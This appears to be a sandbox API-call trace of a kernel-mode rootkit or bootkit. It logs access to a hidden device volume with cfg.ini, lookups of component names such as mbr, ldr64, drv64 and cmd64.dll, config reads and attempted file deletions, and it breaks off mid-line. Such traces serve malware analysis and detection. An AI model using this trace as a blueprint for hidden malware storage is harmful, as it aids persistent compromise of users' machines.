[0123.378] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.378] KeEnterCriticalRegion () [0123.378] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.378] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.378] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.378] KeLeaveCriticalRegion () [0123.378] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.378] KeEnterCriticalRegion () [0123.378] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.378] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.378] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.378] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.378] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.378] IdePortDispatch () returned 0x103 [0123.378] KeWaitForMutexObject () returned 0x0 [0123.378] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.378] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.378] KeLeaveCriticalRegion () [0123.378] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.378] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.378] KeEnterCriticalRegion () [0123.378] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.378] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003499000 [0123.378] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.378] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.378] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.378] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.378] IdePortDispatch () returned 0x103 [0123.378] KeWaitForMutexObject () returned 0x0 [0123.379] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.379] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.379] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.379] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.379] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.379] IdePortDispatch () returned 0x103 [0123.379] KeWaitForMutexObject () returned 0x0 [0123.379] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.379] KeLeaveCriticalRegion () [0123.379] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.379] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.379] KeEnterCriticalRegion () [0123.379] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.379] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.379] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.379] KeLeaveCriticalRegion () [0123.379] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.379] KeEnterCriticalRegion () [0123.379] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.379] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.379] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bea510, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.379] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.379] KeLeaveCriticalRegion () [0123.380] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.380] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.380] KeEnterCriticalRegion () [0123.380] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.380] ExFreePoolWithTag (P=0xfffffa8003bebb40, Tag=0x0) [0123.380] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.380] KeLeaveCriticalRegion () [0123.380] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.380] ReleaseMutex (hMutex=0xf0) returned 1 [0123.380] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.380] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.380] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.380] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.380] KeEnterCriticalRegion () [0123.380] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.380] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.380] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.380] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.380] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.380] IdePortDispatch () returned 0x103 [0123.380] KeWaitForMutexObject () returned 0x0 [0123.380] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.380] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.380] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.380] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.380] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.380] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.380] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.380] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.380] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.380] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.380] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.380] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.380] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.380] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.380] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.380] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.380] KeLeaveCriticalRegion () [0123.380] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.381] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.381] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.381] KeEnterCriticalRegion () [0123.381] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.381] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.381] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.381] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.381] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.381] IdePortDispatch () returned 0x103 [0123.381] KeWaitForMutexObject () returned 0x0 [0123.381] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.381] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.381] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.381] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.381] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.381] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.381] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.381] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.381] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.381] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.381] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.381] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.381] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.381] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.381] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.381] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.381] KeLeaveCriticalRegion () [0123.381] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.381] ReleaseMutex (hMutex=0x100) returned 1 [0123.381] Sleep (dwMilliseconds=0x2bf20) [0123.387] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6cbc72b0, dwHighDateTime=0x1d24fa4)) [0123.387] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.387] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.388] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.388] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.388] KeEnterCriticalRegion () [0123.388] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.388] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.388] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.388] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.388] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.388] IdePortDispatch () returned 0x103 [0123.388] KeWaitForMutexObject () returned 0x0 [0123.388] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.388] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.388] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.388] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.388] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.388] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beba90 [0123.388] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.388] KeLeaveCriticalRegion () [0123.388] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.388] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.388] KeEnterCriticalRegion () [0123.388] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.388] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.388] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.388] KeLeaveCriticalRegion () [0123.388] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.388] KeEnterCriticalRegion () [0123.388] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.389] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.389] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.389] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.389] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.389] IdePortDispatch () returned 0x103 [0123.389] KeWaitForMutexObject () returned 0x0 [0123.389] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.389] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.389] KeLeaveCriticalRegion () [0123.389] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.389] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.389] KeEnterCriticalRegion () [0123.389] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.389] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800349c000 [0123.389] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.389] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.389] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.389] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.389] IdePortDispatch () returned 0x103 [0123.389] KeWaitForMutexObject () returned 0x0 [0123.390] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.390] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.390] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.390] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.390] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.390] IdePortDispatch () returned 0x103 [0123.390] KeWaitForMutexObject () returned 0x0 [0123.390] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.390] KeLeaveCriticalRegion () [0123.390] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.390] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.390] KeEnterCriticalRegion () [0123.391] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.391] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.391] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.391] KeLeaveCriticalRegion () [0123.391] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.391] KeEnterCriticalRegion () [0123.391] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.391] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.391] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bea510, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.391] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.391] KeLeaveCriticalRegion () [0123.391] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.391] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.391] KeEnterCriticalRegion () [0123.391] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.391] ExFreePoolWithTag (P=0xfffffa8003beba90, Tag=0x0) [0123.391] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.391] KeLeaveCriticalRegion () [0123.391] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.391] ReleaseMutex (hMutex=0xf0) returned 1 [0123.391] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.391] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.391] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.391] KeEnterCriticalRegion () [0123.391] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.391] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.391] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.391] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.391] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.391] IdePortDispatch () returned 0x103 [0123.391] KeWaitForMutexObject () returned 0x0 [0123.391] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.391] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.391] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.391] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.391] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.391] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbee10 [0123.391] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.392] KeLeaveCriticalRegion () [0123.392] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.392] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.392] KeEnterCriticalRegion () [0123.392] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.392] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.392] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.392] KeLeaveCriticalRegion () [0123.392] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.392] KeEnterCriticalRegion () [0123.392] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.392] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.392] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.392] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.392] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.392] IdePortDispatch () returned 0x103 [0123.392] KeWaitForMutexObject () returned 0x0 [0123.392] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.392] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.392] KeLeaveCriticalRegion () [0123.392] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.392] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.392] KeEnterCriticalRegion () [0123.392] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.392] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800349d000 [0123.392] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.392] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.392] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.392] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.392] IdePortDispatch () returned 0x103 [0123.392] KeWaitForMutexObject () returned 0x0 [0123.393] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.393] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.393] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.393] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.393] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.393] IdePortDispatch () returned 0x103 [0123.393] KeWaitForMutexObject () returned 0x0 [0123.393] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.393] KeLeaveCriticalRegion () [0123.393] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.393] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.393] KeEnterCriticalRegion () [0123.393] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.393] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.393] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.393] KeLeaveCriticalRegion () [0123.393] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.393] KeEnterCriticalRegion () [0123.393] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.393] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.394] 